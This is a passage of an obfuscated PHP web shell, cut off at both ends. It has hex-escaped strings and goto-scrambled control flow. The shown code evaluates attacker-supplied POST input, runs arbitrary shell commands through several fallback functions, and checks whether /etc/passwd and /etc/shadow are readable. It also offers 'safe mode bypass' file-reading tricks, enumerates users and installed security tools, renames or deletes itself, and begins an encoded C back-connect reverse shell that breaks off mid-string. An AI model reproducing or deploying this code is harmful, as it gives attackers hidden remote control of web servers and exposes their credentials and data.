(!@$_POST["\x70\x31"]) { $a = array("\165\x6e\141\x6d\x65" => php_uname(), "\x70\150\x70\137\166\x65\162\163\x69\157\156" => phpversion(), "\x56\105\x52\x53\x49\x4f\x4e" => VERSION, "\x73\141\146\x65\x6d\157\144\145" => @ini_get("\x73\x61\146\x65\137\x6d\157\144\145")); echo serialize($a); } else { eval($_POST["\x70\61"]); } } goto RD0o5; vsMZn: function which($p) { $path = ex("\x77\150\151\143\150\x20" . $p); if (!empty($path)) { return $path; } return false; } goto fMiCk; tF6Rj: $shellpassword = "\x70\145\160\x65\x6e\142\145\x6b\141\x73\165\163"; goto gfHTK; GuANx: if ($cwd[strlen($cwd) - 1] != "\x2f") { $cwd .= "\x2f"; } goto SQ1Kg; SEByT: function changer($p, $n) { $passnew = changepass($p) ? $p : NULL; $shellname = rename($_SERVER["\x53\103\x52\x49\x50\124\x5f\x46\111\x4c\x45\x4e\101\x4d\105"], "\x65\166\157\x2d" . $n . "\x2e\x70\x68\160") ? "\145\166\157\55" . $n . "\56\x70\150\x70" : basename($_SERVER["\123\x43\122\x49\120\124\x5f\x46\x49\114\x45\116\x41\115\x45"]); $dir_only = $_SERVER["\110\124\x54\x50\x5f\x48\x4f\123\124"] . substr($_SERVER["\x52\105\x51\x55\x45\123\124\x5f\x55\122\111"], 0, strrpos($_SERVER["\122\x45\x51\125\105\123\x54\137\125\x52\111"], "\x2f") + 1); $finalshl = $dir_only . $shellname . (isset($passnew) ? "\x3f\x70\141\163\163\75{$passnew}" : ''); return json_encode(array("\165\x72\154" => $finalshl)); } goto oWyVv; lN1qw: function ex($in) { $dokas = ''; if (function_exists("\145\170\145\x63")) { @exec($in, $dokas); $dokas = @join("\12", $dokas); } elseif (function_exists("\160\141\x73\x73\x74\150\x72\x75")) { ob_start(); @passthru($in); $dokas = ob_get_clean(); } elseif (function_exists("\x73\x79\x73\164\x65\x6d")) { ob_start(); @system($in); $dokas = ob_get_clean(); } elseif (function_exists("\x73\150\x65\154\x6c\x5f\x65\170\145\143")) { $dokas = shell_exec($in); } elseif (is_resource($f = @popen($in, "\162"))) { $dokas = ''; while (!@feof($f)) { $dokas .= fread($f, 1024); } pclose($f); } else { return "\xe2\206\263\x20\125\156\x61\142\154\x65\x20\164\x6f\x20\145\x78\145\x63\x75\x74\x65\x20\x63\157\155\155\141\x6e\x64\12"; } return $dokas == '' ? "\342\x86\xb3\x20\x51\x75\145\162\x79\x20\x64\x69\144\40\x6e\x6f\x74\40\162\x65\164\x75\x72\156\x20\141\x6e\171\164\150\x69\x6e\x67\xa" : $dokas; } goto WRlxK; dxYeQ: if (!function_exists("\160\157\163\151\170\137\x67\x65\x74\160\x77\x75\x69\144") && strpos($GLOBALS["\x64\151\163\x61\142\x6c\x65\x5f\146\x75\156\x63\164\x69\x6f\x6e\x73"], "\x70\157\x73\151\x78\137\x67\x65\x74\x70\x77\165\x69\144") === false) { function posix_getpwuid($p) { return false; } } goto HLa1k; dydcw: $home_cwd = @getcwd(); goto lByJA; gfHTK: $password_shell = $shellpassword != '' ? md5($shellpassword) : ''; goto bf5rl; LY9dw: function perms($p) { if (($p & 49152) == 49152) { $i = "\x73"; } elseif (($p & 40960) == 40960) { $i = "\154"; } elseif (($p & 32768) == 32768) { $i = "\55"; } elseif (($p & 24576) == 24576) { $i = "\x62"; } elseif (($p & 16384) == 16384) { $i = "\x64"; } elseif (($p & 8192) == 8192) { $i = "\143"; } elseif (($p & 4096) == 4096) { $i = "\160"; } else { $i = "\165"; } $i .= $p & 256 ? "\x72" : "\x2d"; $i .= $p & 128 ? "\167" : "\x2d"; $i .= $p & 64 ? $p & 2048 ? "\163" : "\170" : ($p & 2048 ? "\x53" : "\x2d"); $i .= $p & 32 ? "\x72" : "\55"; $i .= $p & 16 ? "\167" : "\55"; $i .= $p & 8 ? $p & 1024 ? "\x73" : "\x78" : ($p & 1024 ? "\123" : "\x2d"); $i .= $p & 4 ? "\x72" : "\55"; $i .= $p & 2 ? "\x77" : "\55"; $i .= $p & 1 ? $p & 512 ? "\x74" : "\170" : ($p & 512 ? "\x54" : "\x2d"); return $i; } goto Vrw_M; YG3Ej: if (!isset($_COOKIE[md5($_SERVER["\x48\x54\124\120\x5f\x48\x4f\123\x54"]) . "\x61\152\x61\x78"])) { $_COOKIE[md5($_SERVER["\x48\124\124\x50\137\110\x4f\x53\124"]) . "\x61\x6a\141\170"] = (bool) $wad; } goto c6TnT; IWSGk: function generateRandomString($length) { $characters = "\x30\x31\62\63\64\65\66\x37\x38\x39\141\142\143\144\x65\x66\147\x68\151\x6a\153\x6c\x6d\x6e\157\160\x71\162\163\164\x75\166\x77\x78\171\x7a\101\x42\103\104\x45\106\107\x48\111\112\113\114\x4d\x4e\x4f\x50\x51\x52\x53\124\x55\x56\x57\130\x59\x5a"; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } goto FMPdV; Phrpj: $dec = "\125\x54\x46\x2d\x38"; goto ddV_C; oWyVv: function actionSecInfo() { hardHeader(); echo "\74\x68\61\x3e\x53\x65\162\166\x65\x72\40\163\x65\x63\165\162\151\x74\x79\x20\151\156\x66\x6f\x72\x6d\141\x74\151\157\156\74\57\150\61\x3e\x3c\144\x69\x76\x20\x63\154\x61\x73\163\75\x63\157\x6e\x74\x65\x6e\164\76"; function showSecParam($n, $v) { $v = trim($v); if ($v) { echo "\74\x73\x70\141\x6e\x3e" . $n . "\x3a\40\74\57\163\x70\x61\x6e\76"; if (strpos($v, "\xa") === false) { echo $v . "\x3c\142\x72\76"; } else { echo "\x3c\x70\162\145\x20\x63\x6c\x61\163\x73\x3d\x6d\x6c\61\76" . $v . "\74\x2f\160\x72\145\76"; } } } showSecParam("\123\145\162\166\x65\x72\x20\163\157\146\x74\167\141\162\x65", @getenv("\123\105\122\126\x45\122\137\x53\117\x46\x54\127\101\122\x45")); if (function_exists("\141\160\x61\x63\x68\145\137\x67\x65\x74\x5f\155\x6f\x64\165\154\145\x73")) { showSecParam("\114\157\141\x64\145\x64\40\x41\160\141\143\x68\145\40\155\x6f\x64\165\154\145\x73", implode("\54\40", apache_get_modules())); } showSecParam("\x44\x69\163\x61\x62\x6c\145\144\40\x50\x48\x50\x20\x46\x75\x6e\x63\164\151\x6f\156\x73", $GLOBALS["\x64\151\x73\x61\142\x6c\x65\137\x66\165\156\143\x74\151\x6f\156\163"] ? $GLOBALS["\x64\x69\x73\x61\x62\x6c\x65\137\x66\165\156\x63\x74\151\157\x6e\163"] : "\156\x6f\156\145"); showSecParam("\x4f\160\x65\156\40\x62\141\x73\x65\x20\x64\x69\162", @ini_get("\x6f\160\145\x6e\x5f\142\141\x73\145\x64\151\x72")); showSecParam("\x53\x61\x66\x65\x20\x6d\157\x64\x65\40\x65\170\x65\x63\40\x64\151\x72", @ini_get("\x73\x61\x66\x65\137\x6d\157\144\x65\137\145\x78\145\143\137\144\151\162")); showSecParam("\123\141\x66\145\40\x6d\x6f\x64\145\40\x69\156\x63\154\165\x64\x65\40\144\151\162", @ini_get("\x73\141\146\x65\137\155\157\144\145\x5f\x69\x6e\143\154\x75\144\145\x5f\x64\151\x72")); showSecParam("\x63\x55\122\114\40\163\165\x70\160\x6f\x72\164", function_exists("\x63\x75\162\154\x5f\166\x65\x72\x73\151\157\156") ? "\x65\156\141\142\x6c\145\x64" : "\x6e\x6f"); $temp = array(); if (function_exists("\155\x79\163\x71\154\137\x67\145\x74\137\x63\x6c\x69\145\156\164\137\x69\156\x66\x6f")) { $temp[] = "\115\x79\123\161\x6c\x20\50" . mysql_get_client_info() . "\x29"; } if (function_exists("\155\x73\x73\161\154\x5f\143\x6f\x6e\156\x65\x63\164")) { $temp[] = "\x4d\x53\123\121\x4c"; } if (function_exists("\160\147\x5f\143\157\x6e\x6e\145\143\164")) { $temp[] = "\120\157\163\164\x67\162\145\123\121\x4c"; } if (function_exists("\157\x63\151\x5f\x63\157\156\156\145\x63\x74")) { $temp[] = "\x4f\162\141\x63\154\145"; } showSecParam("\123\x75\x70\x70\x6f\162\164\x65\144\40\x64\141\164\141\142\x61\163\145\163", implode("\x2c\40", $temp)); echo "\74\142\162\x3e"; if ($GLOBALS["\x6f\163"] == "\156\151\x78") { showSecParam("\x52\145\141\x64\x61\142\154\x65\40\x2f\x65\164\143\57\160\x61\x73\163\x77\144", @is_readable("\x2f\x65\x74\143\57\x70\x61\x73\163\167\144") ? "\x79\145\x73\x20\x3c\x61\40\x68\x72\x65\146\75\x27\43\47\x20\157\x6e\x63\154\x69\x63\x6b\75\x27\147\50\42\x46\x69\154\x65\163\x54\x6f\x6f\154\163\x22\54\x20\42\x2f\145\164\x63\x2f\x22\x2c\40\x22\x70\141\x73\163\167\144\42\51\47\x3e\133\166\x69\145\167\135\x3c\x2f\141\76" : "\156\x6f"); showSecParam("\122\145\x61\144\x61\x62\x6c\145\x20\x2f\x65\164\x63\57\x73\x68\x61\144\157\x77", @is_readable("\57\145\x74\143\x2f\163\x68\141\144\157\x77") ? "\x79\145\163\x20\x3c\x61\40\x68\162\145\146\x3d\x27\x23\47\x20\x6f\156\x63\x6c\x69\143\153\x3d\x27\x67\50\x22\x46\151\x6c\x65\163\124\x6f\157\x6c\x73\42\x2c\x20\x22\x2f\x65\x74\x63\57\x22\54\40\42\x73\150\x61\x64\157\167\x22\51\x27\76\x5b\x76\151\x65\167\x5d\x3c\x2f\141\x3e" : "\156\157"); showSecParam("\x4f\123\40\x76\x65\162\x73\x69\x6f\x6e", @file_get_contents("\57\160\162\157\x63\x2f\x76\x65\162\163\151\157\x6e")); showSecParam("\x44\x69\163\164\x72\x20\156\141\x6d\145", @file_get_contents("\x2f\145\x74\143\57\x69\x73\x73\x75\145\56\x6e\x65\x74")); if (!$GLOBALS["\163\x61\146\145\x5f\x6d\x6f\144\x65"]) { $userful = array("\x67\x63\143", "\x6c\143\x63", "\143\143", "\154\144", "\x6d\141\x6b\x65", "\160\150\x70", "\x70\x65\x72\154", "\160\x79\164\150\157\156", "\x72\x75\142\171", "\x74\x61\162", "\x67\172\x69\160", "\x62\172\x69\160", "\x62\x7a\x69\x70\x32", "\x6e\143", "\154\x6f\143\x61\164\145", "\163\x75\151\144\160\x65\162\x6c"); $danger = array("\153\141\x76", "\156\x6f\144\x33\x32", "\142\x64\x63\157\x72\145\144", "\x75\x76\163\143\x61\156", "\163\141\x76", "\x64\x72\x77\x65\x62\x64", "\143\x6c\x61\155\x64", "\x72\x6b\150\x75\x6e\x74\145\162", "\x63\150\153\x72\x6f\x6f\164\153\x69\x74", "\151\160\164\x61\142\154\x65\163", "\151\x70\x66\167", "\x74\162\x69\x70\167\x69\x72\x65", "\x73\150\151\x65\x6c\144\143\143", "\160\157\x72\x74\x73\x65\x6e\x74\x72\171", "\163\x6e\x6f\x72\x74", "\157\163\163\x65\x63", "\x6c\151\x64\x73\x61\144\155", "\x74\x63\160\x6c\x6f\x64\147", "\163\170\x69\144", "\x6c\x6f\x67\143\150\x65\143\x6b", "\154\x6f\147\167\x61\164\x63\150", "\163\171\163\x6d\141\x73\153", "\172\155\142\163\x63\141\x70", "\x73\x61\x77\155\x69\x6c\x6c", "\x77\x6f\x72\x6d\x73\x63\x61\x6e", "\156\151\156\x6a\x61"); $downloaders = array("\x77\147\x65\x74", "\146\x65\164\x63\150", "\154\171\156\x78", "\x6c\151\x6e\x6b\x73", "\143\165\162\x6c", "\147\145\164", "\154\x77\160\x2d\x6d\151\162\x72\x6f\x72"); echo "\x3c\142\162\76"; $temp = array(); foreach ($userful as $dokl) { if (which($dokl)) { $temp[] = $dokl; } } showSecParam("\125\x73\145\162\x66\165\154", implode("\54\40", $temp)); $temp = array(); foreach ($danger as $dokl) { if (which($dokl)) { $temp[] = $dokl; } } showSecParam("\x44\x61\156\147\x65\x72", implode("\x2c\x20", $temp)); $temp = array(); foreach ($downloaders as $dokl) { if (which($dokl)) { $temp[] = $dokl; } } showSecParam("\104\157\167\x6e\x6c\157\141\x64\x65\x72\163", implode("\x2c\40", $temp)); echo "\74\142\x72\x2f\76"; showSecParam("\x48\104\104\x20\x73\160\141\x63\145", ex("\144\146\x20\x2d\x68")); showSecParam("\110\x6f\x73\x74\163", @file_get_contents("\x2f\x65\x74\143\57\150\157\163\x74\x73")); showSecParam("\x4d\x6f\165\156\x74\x20\x6f\160\164\151\157\156\x73", @file_get_contents("\57\145\x74\x63\x2f\146\163\x74\141\x62")); } } else { showSecParam("\x4f\x53\x20\126\x65\x72\163\151\x6f\156", ex("\166\145\162")); showSecParam("\101\143\143\157\165\x6e\164\x20\x53\145\164\x74\151\x6e\147\163", iconv("\x43\120\x38\x36\x36", "\125\x54\106\x2d\70", ex("\x6e\145\164\40\x61\143\143\x6f\x75\156\164\x73"))); showSecParam("\125\x73\x65\x72\x20\101\x63\x63\x6f\165\156\164\163", iconv("\103\x50\70\66\66", "\125\x54\106\x2d\70", ex("\x6e\x65\x74\x20\x75\x73\145\x72"))); } echo "\x3c\57\x64\x69\x76\76"; hardFooter(); } goto xGs07; ng6ub: function actionSelfRemove() { if ($_POST["\x70\61"] == "\171\145\x73") { if (@unlink(preg_replace("\41\x5c\50\134\x64\53\x5c\x29\134\163\x2e\52\x21", '', $_SERVER["\123\103\122\x49\x50\x54\137\x46\x49\114\x45\x4e\x41\x4d\x45"]))) { die("\x53\x68\x65\154\x6c\40\x68\x61\163\x20\142\x65\x65\x6e\x20\162\145\155\157\x76\145\x64"); } else { echo "\165\156\154\151\156\x6b\x20\x65\x72\162\157\162\41"; } } if ($_POST["\160\x31"] != "\171\x65\163") { hardHeader(); } echo "\x3c\x68\61\76\x53\x75\151\x63\x69\144\145\x3c\x2f\x68\x31\x3e\x3c\x64\x69\166\x20\x63\154\x61\163\x73\75\x63\157\156\164\x65\x6e\164\x3e\122\145\x61\x6c\x6c\x79\40\x77\x61\x6e\164\x20\x74\x6f\40\x72\x65\155\157\x76\145\x20\x74\x68\145\40\x73\x68\145\x6c\154\77\74\142\x72\76\74\x61\x20\150\x72\x65\x66\x3d\43\x20\x6f\156\143\154\151\x63\x6b\x3d\x22\x67\50\x6e\165\154\x6c\54\156\165\x6c\154\54\47\x79\145\163\47\51\42\x3e\x59\x65\163\x3c\57\141\x3e\74\57\x64\x69\166\76"; hardFooter(); } goto lzlP3; zl6cf: function actionSafeMode() { $temp = ''; ob_start(); switch ($_POST["\x70\x31"]) { case 1: $temp = @tempnam($test, "\143\x78"); if (@copy("\x63\x6f\x6d\x70\162\145\x73\163\x2e\172\x6c\x69\x62\x3a\57\x2f" . $_POST["\x70\x32"], $temp)) { echo @file_get_contents($temp); unlink($temp); } else { echo "\x53\x6f\x72\162\x79\x2e\56\56\40\x43\x61\x6e\47\164\x20\x6f\x70\145\156\x20\146\151\154\x65"; } break; case 2: $files = glob($_POST["\160\x32"] . "\x2a"); if (is_array($files)) { foreach ($files as $filename) { echo $filename . "\12"; } } break; case 3: $ch = curl_init("\x66\x69\154\x65\72\x2f\57" . $_POST["\160\62"] . "\0" . SELF_PATH); curl_exec($ch); break; case 4: ini_restore("\163\x61\x66\145\x5f\x6d\x6f\x64\x65"); ini_restore("\x6f\x70\145\x6e\x5f\142\141\163\145\144\151\162"); include $_POST["\160\x32"]; break; case 5: for (; $_POST["\x70\x32"] <= $_POST["\160\63"]; $_POST["\160\62"]++) { $uid = @posix_getpwuid($_POST["\160\x32"]); if ($uid) { echo join("\x3a", $uid) . "\xa"; } } break; case 6: if (!function_exists("\x69\x6d\x61\x70\x5f\x6f\160\145\156")) { break; } $stream = imap_open($_POST["\160\x32"], '', ''); if ($stream == FALSE) { break; } echo imap_body($stream, 1); imap_close($stream); break; } $temp = ob_get_clean(); hardHeader(); echo "\x3c\150\x31\x3e\x53\x61\146\145\40\x6d\157\x64\145\x20\x62\171\160\141\x73\163\x3c\57\x68\61\x3e\74\144\151\x76\x20\x63\x6c\x61\x73\163\75\x63\x6f\156\x74\145\156\164\76"; echo "\74\x73\160\x61\156\76\103\157\x70\x79\40\x28\162\145\x61\x64\x20\x66\151\154\145\x29\x3c\57\163\160\x61\156\x3e\x3c\146\157\162\x6d\x20\157\156\x73\x75\142\155\x69\164\75\47\147\50\x6e\x75\x6c\x6c\54\156\x75\x6c\x6c\54\42\61\42\54\164\x68\151\x73\x2e\x70\x61\x72\x61\x6d\56\166\141\154\165\145\x29\73\x72\145\x74\x75\162\x6e\x20\x66\x61\154\x73\x65\x3b\x27\x3e\74\x69\x6e\x70\x75\x74\40\143\154\x61\163\x73\75\42\164\x6f\157\154\x73\x49\x6e\160\42\x20\164\x79\x70\145\75\x74\145\x78\164\40\156\141\x6d\x65\75\x70\x61\x72\x61\x6d\x3e\74\151\156\x70\165\x74\x20\x74\171\160\x65\75\163\165\142\155\151\x74\40\x76\141\x6c\165\145\x3d\42\163\x75\x62\155\151\164\x22\76\74\57\x66\x6f\162\x6d\76\74\142\x72\76\x3c\x73\x70\x61\x6e\76\x47\x6c\157\142\40\50\154\151\x73\x74\x20\144\x69\162\x29\x3c\x2f\x73\160\x61\156\76\x3c\x66\x6f\162\155\40\157\156\163\x75\142\x6d\x69\164\x3d\47\147\50\x6e\x75\x6c\154\x2c\156\x75\x6c\154\x2c\x22\x32\42\54\x74\150\x69\163\x2e\160\x61\x72\x61\155\56\166\x61\154\165\145\x29\x3b\x72\145\x74\165\162\x6e\x20\146\141\154\x73\145\x3b\x27\x3e\74\x69\x6e\x70\x75\x74\x20\143\154\141\x73\163\x3d\42\164\157\x6f\x6c\x73\x49\x6e\x70\x22\x20\x74\171\x70\x65\75\x74\145\x78\164\x20\x6e\x61\155\145\75\160\x61\162\141\x6d\x3e\x3c\x69\x6e\160\x75\164\x20\x74\x79\x70\x65\75\163\165\142\x6d\151\164\x20\166\141\154\165\145\75\42\x73\x75\x62\155\151\164\42\x3e\x3c\x2f\146\x6f\x72\x6d\76\x3c\142\x72\x3e\74\163\x70\141\156\x3e\103\165\162\x6c\40\x28\162\145\x61\144\x20\146\x69\x6c\145\51\74\x2f\163\160\x61\156\76\x3c\146\x6f\x72\155\40\157\156\x73\x75\142\x6d\x69\164\x3d\47\147\x28\156\165\154\x6c\x2c\156\x75\154\154\54\x22\x33\x22\x2c\x74\150\151\x73\x2e\x70\141\162\x61\x6d\x2e\166\141\154\165\145\x29\73\162\145\164\x75\x72\156\x20\x66\x61\154\163\145\73\x27\x3e\x3c\151\x6e\160\165\x74\x20\143\x6c\141\163\x73\x3d\42\x74\x6f\x6f\x6c\163\111\156\x70\42\x20\164\171\160\145\75\x74\145\170\164\x20\156\141\155\x65\x3d\160\141\x72\141\155\x3e\x3c\x69\x6e\160\x75\164\x20\x74\x79\x70\145\x3d\163\x75\142\155\151\x74\x20\166\x61\154\165\x65\75\x22\x73\x75\x62\x6d\151\164\x22\76\x3c\57\146\157\x72\155\x3e\x3c\142\162\x3e\74\x73\x70\x61\156\x3e\111\x6e\x69\x5f\162\145\163\x74\157\162\x65\x20\50\162\145\141\x64\40\x66\x69\x6c\x65\x29\x3c\x2f\163\x70\x61\156\x3e\x3c\x66\157\x72\155\40\x6f\x6e\x73\x75\142\155\x69\x74\75\47\147\x28\x6e\x75\154\x6c\x2c\x6e\165\154\154\54\x22\x34\x22\54\x74\150\151\163\56\160\141\162\141\155\56\x76\x61\154\165\145\x29\73\x72\x65\x74\165\162\x6e\40\146\x61\154\x73\145\73\x27\x3e\x3c\151\x6e\x70\x75\x74\40\143\x6c\141\x73\163\75\42\164\157\157\x6c\x73\x49\x6e\160\42\40\x74\171\160\145\75\x74\x65\170\164\40\156\141\155\145\75\x70\141\162\x61\x6d\76\74\x69\156\160\165\164\40\x74\171\x70\x65\x3d\x73\x75\142\x6d\x69\x74\x20\x76\141\x6c\165\145\75\x22\x73\x75\142\155\x69\164\x22\76\74\57\146\x6f\162\x6d\x3e\74\x62\162\76\74\163\160\x61\x6e\x3e\120\157\x73\x69\170\x5f\x67\145\164\160\167\x75\x69\x64\40\x28\x22\x52\x65\x61\144\42\x20\x2f\x65\164\x63\x2f\160\x61\x73\163\167\x64\51\x3c\57\163\160\141\x6e\x3e\x3c\164\x61\142\x6c\x65\76\x3c\x66\x6f\162\155\x20\x6f\x6e\x73\165\142\x6d\x69\x74\x3d\x27\147\50\x6e\x75\154\x6c\54\156\x75\154\154\x2c\x22\65\42\54\x74\x68\151\163\x2e\160\141\x72\141\x6d\61\x2e\x76\141\x6c\165\x65\x2c\x74\150\x69\163\56\x70\x61\x72\141\155\x32\x2e\x76\141\154\x75\145\51\73\x72\145\x74\165\x72\x6e\40\x66\x61\154\x73\x65\x3b\47\76\x3c\x74\162\x3e\x3c\164\x64\76\x46\162\x6f\x6d\x3c\57\164\x64\76\x3c\x74\144\x3e\74\151\156\160\165\164\40\164\171\x70\145\x3d\x74\145\170\164\x20\156\x61\x6d\x65\75\160\141\162\x61\155\x31\40\x76\141\x6c\x75\x65\x3d\60\76\74\57\164\144\76\74\x2f\164\x72\x3e\74\164\162\76\74\x74\144\76\124\x6f\74\57\x74\x64\76\x3c\164\144\76\x3c\151\156\160\x75\x74\x20\x74\171\x70\145\x3d\x74\x65\170\x74\x20\x6e\x61\155\145\x3d\160\141\162\141\x6d\x32\40\x76\x61\x6c\x75\x65\x3d\x31\x30\60\60\x3e\74\57\x74\144\x3e\74\57\164\162\76\74\57\x74\141\x62\154\x65\76\x3c\151\156\x70\165\x74\40\164\x79\x70\x65\75\x73\165\x62\155\x69\x74\x20\166\x61\154\x75\145\75\x22\163\165\142\x6d\x69\x74\x22\76\x3c\x2f\x66\x6f\162\x6d\76\x3c\142\162\76\x3c\142\x72\x3e\74\163\x70\x61\156\x3e\x49\155\141\160\x5f\x6f\160\x65\x6e\40\50\162\145\x61\144\40\146\x69\154\145\51\74\57\163\160\141\156\x3e\x3c\146\157\x72\x6d\40\x6f\156\x73\x75\142\155\x69\x74\x3d\x27\147\50\x6e\x75\154\154\x2c\156\x75\154\x6c\x2c\42\66\x22\x2c\x74\150\x69\163\x2e\x70\x61\162\x61\x6d\56\x76\x61\x6c\165\145\x29\x3b\162\145\x74\x75\x72\156\x20\x66\x61\154\x73\x65\73\x27\76\74\151\156\160\x75\x74\40\164\x79\160\145\x3d\x74\x65\x78\164\x20\156\x61\155\145\75\160\141\x72\141\155\76\x3c\151\x6e\x70\165\164\x20\x74\171\x70\145\75\163\x75\142\x6d\x69\164\x20\x76\x61\x6c\165\x65\x3d\x22\163\165\142\155\151\x74\x22\76\x3c\x2f\x66\x6f\x72\155\x3e"; if ($temp) { echo "\74\160\162\145\40\143\154\141\x73\163\75\x22\x6d\x6c\61\42\40\163\164\x79\x6c\145\x3d\42\x6d\x61\x72\x67\151\156\x2d\164\x6f\x70\x3a\65\x70\170\x22\40\151\x64\x3d\x22\117\165\164\x70\x75\x74\42\x3e" . $temp . "\x3c\57\x70\x72\x65\x3e"; } echo "\x3c\x2f\x64\151\x76\76"; hardFooter(); } goto BamS6; qKevr: function actionchangepass() { $s_result = ''; if (isset($_POST["\160\61"]) && !empty($_POST["\x70\61"])) { $newpass = isset($_POST["\160\62"]) ? trim($_POST["\x70\x32"]) : ''; if (changepass($newpass)) { $s_result = "\x3c\x62\40\x73\164\171\154\145\75\42\x63\157\154\157\x72\x3a\43\62\x38\103\x37\x36\106\40\41\151\155\160\x6f\x72\164\x61\x6e\x74\x22\x3e\120\x61\x73\x73\167\157\162\144\40\103\x68\x61\x6e\x67\145\144\41\74\57\x62\x3e"; } else { $s_result = "\74\142\x20\x73\164\x79\154\145\x3d\x22\x63\157\154\x6f\162\x3a\43\x45\101\x35\64\65\x35\x20\41\151\x6d\x70\x6f\x72\164\141\156\x74\x22\76\160\x61\163\163\167\x6f\x72\144\x20\143\141\156\47\164\40\x63\150\x61\156\147\x65\x64\x21\x3c\57\x62\76"; } } hardHeader(); echo "\x3c\x68\61\76\x43\150\x61\156\147\145\x20\120\x61\163\x73\x77\x6f\x72\x64\74\57\x68\x31\x3e\x3c\142\162\x3e" . $s_result . "\74\144\x69\x76\x20\x63\154\141\x73\x73\x3d\143\x6f\x6e\x74\x65\156\164\x3e"; echo "\74\163\160\x61\156\x3e\x59\x6f\165\162\x20\156\145\167\40\x70\141\x73\163\x77\x6f\162\144\40\50\154\145\141\x76\145\40\x65\155\160\x74\171\x20\x74\157\x20\x6d\x61\153\x65\40\x74\x68\x65\x20\x73\x68\x65\154\x6c\40\x77\151\164\x68\157\165\x74\x20\x70\x61\163\x73\167\157\x72\x64\51\72\40\74\x2f\x73\x70\141\156\x3e\x3c\146\157\162\x6d\40\155\x65\164\150\x6f\144\75\160\157\x73\164\x20\157\x6e\x73\165\142\155\151\164\75\42\x67\50\47\143\150\141\x6e\x67\x65\x70\141\x73\163\47\54\156\165\x6c\x6c\54\x27\x73\165\x62\x6d\x69\164\47\54\x74\x68\x69\x73\56\160\141\x73\x73\167\157\x72\144\x6e\x65\167\x2e\166\141\x6c\x75\x65\54\x27\47\x29\x3b\x72\145\164\x75\x72\156\x20\x66\x61\x6c\163\145\x3b\42\x3e\74\151\156\x70\x75\x74\40\143\x6c\x61\163\163\75\42\164\157\x6f\x6c\x73\111\x6e\160\x22\x20\164\171\x70\145\75\x74\145\170\164\x20\x6e\141\x6d\145\75\160\141\163\x73\x77\157\162\x64\156\145\x77\x3e\x3c\x69\156\160\165\164\40\156\141\x6d\x65\x3d\x73\165\x62\x6d\151\164\x6e\x65\x77\x70\141\163\x73\40\x74\x79\x70\x65\x3d\x73\165\x62\155\151\164\x20\x76\x61\x6c\165\145\75\x22\163\x75\x62\155\151\164\42\x3e\x3c\57\x66\x6f\162\155\76"; echo "\74\x2f\144\x69\x76\76\74\x62\x72\76"; hardFooter(); } goto ng6ub; RNCDM: function actionNetwork() { hardHeader(); $back_connect_c = "\x49\x32\154\165\x59\62\x78\61\x5a\x47\x55\147\120\x48\116\x30\132\x47\x6c\166\114\155\x67\x2b\x44\121\157\x6a\x61\127\x35\x6a\142\x48\126\153\x5a\x53\101\70\x63\x33\x6c\172\114\x33\x4e\166\131\62\x74\x6c\144\103\x35\157\x50\147\60\113\x49\62\x6c\x75\x59\62\x78\x31\132\107\125\x67\x50\107\65\154\144\107\x6c\165\x5a\130\x51\166\x61\x57\64\165\141\104\64\116\x43\x6d\x6c\165\x64\103\102\164\x59\x57\154\x75\113\x47\x6c\165\144\103\102\x68\143\155\x64\152\114\103\x42\x6a\x61\107\x46\171\111\103\160\150\x63\155\x64\62\x57\x31\x30\x70\x49\x48\163\116\103\x69\x41\x67\111\x43\102\x70\x62\156\x51\x67\132\155\x51\x37\104\x51\x6f\147\111\103\x41\147\x63\63\122\171\144\x57\116\x30\x49\110\116\x76\131\x32\164\x68\x5a\x47\122\171\x58\62\154\x75\x49\x48\x4e\x70\142\152\x73\116\x43\151\101\x67\111\x43\102\x6b\131\127\126\x74\142\62\64\157\x4d\123\167\x77\113\124\163\x4e\x43\x69\x41\x67\x49\x43\x42\172\141\x57\x34\165\143\x32\x6c\x75\x58\x32\x5a\150\x62\x57\154\x73\x65\123\101\x39\x49\x45\106\107\130\x30\154\x4f\122\x56\x51\67\104\x51\x6f\x67\111\x43\101\147\143\x32\154\x75\x4c\x6e\116\x70\142\154\x39\x77\x62\63\112\x30\x49\x44\60\147\141\x48\122\166\142\x6e\115\x6f\x59\130\x52\166\x61\123\150\x68\143\x6d\x64\x32\x57\x7a\112\144\113\x53\153\67\x44\x51\157\147\111\x43\x41\x67\x63\62\154\165\x4c\x6e\116\x70\x62\x6c\71\150\132\107\x52\x79\x4c\x6e\116\x66\131\x57\122\153\x63\x69\x41\x39\111\x47\154\165\132\130\x52\146\x59\x57\122\x6b\x63\151\150\150\143\155\144\62\127\x7a\106\x64\x4b\x54\163\116\x43\x69\101\x67\x49\x43\x42\x6d\132\103\101\x39\x49\110\116\x76\x59\62\164\154\144\x43\x68\102\x52\154\71\x4a\x54\x6b\126\x55\x4c\103\102\x54\124\x30\x4e\x4c\x58\x31\x4e\125\125\153\x56\102\x54\x53\x77\147\x53\126\102\x51\x55\x6b\x39\x55\124\x31\71\x55\121\61\101\x70\111\x44\163\x4e\103\x69\x41\147\111\103\x42\160\x5a\151\x41\157\113\x47\116\x76\x62\x6d\65\154\x59\x33\121\x6f\132\155\121\163\111\103\x68\172\144\110\x4a\61\131\63\x51\147\x63\x32\71\152\x61\62\106\153\x5a\110\x49\x67\x4b\x69\x6b\x67\x4a\x6e\116\x70\142\x69\x77\x67\x63\62\x6c\66\132\x57\71\x6d\113\x48\x4e\60\x63\156\126\x6a\144\x43\x42\172\142\62\x4e\x72\x59\x57\122\153\143\x69\153\x70\x4b\124\167\167\113\123\x42\x37\x44\121\157\147\111\103\x41\147\x49\x43\101\147\111\x48\x42\x6c\x63\156\x4a\x76\143\151\147\x69\x51\x32\x39\165\142\x6d\x56\x6a\x64\103\x42\x6d\x59\x57\x6c\x73\111\x69\x6b\x37\x44\x51\x6f\x67\111\x43\x41\147\x49\x43\x41\x67\111\110\112\x6c\x64\110\126\171\142\x69\101\167\117\x77\60\x4b\x49\103\x41\147\x49\x48\x30\116\103\x69\x41\x67\x49\103\x42\153\x64\130\101\x79\113\x47\x5a\153\x4c\103\101\167\x4b\x54\x73\116\103\x69\101\x67\x49\x43\102\153\144\x58\101\171\x4b\107\132\x6b\x4c\103\x41\170\x4b\124\x73\116\103\x69\x41\x67\111\x43\102\153\x64\x58\101\x79\x4b\x47\x5a\x6b\114\x43\x41\x79\x4b\x54\x73\116\103\151\101\147\111\x43\102\172\x65\x58\x4e\x30\132\127\x30\x6f\111\151\71\151\141\x57\64\166\x63\62\x67\x67\x4c\x57\153\x69\113\x54\163\116\x43\x69\101\147\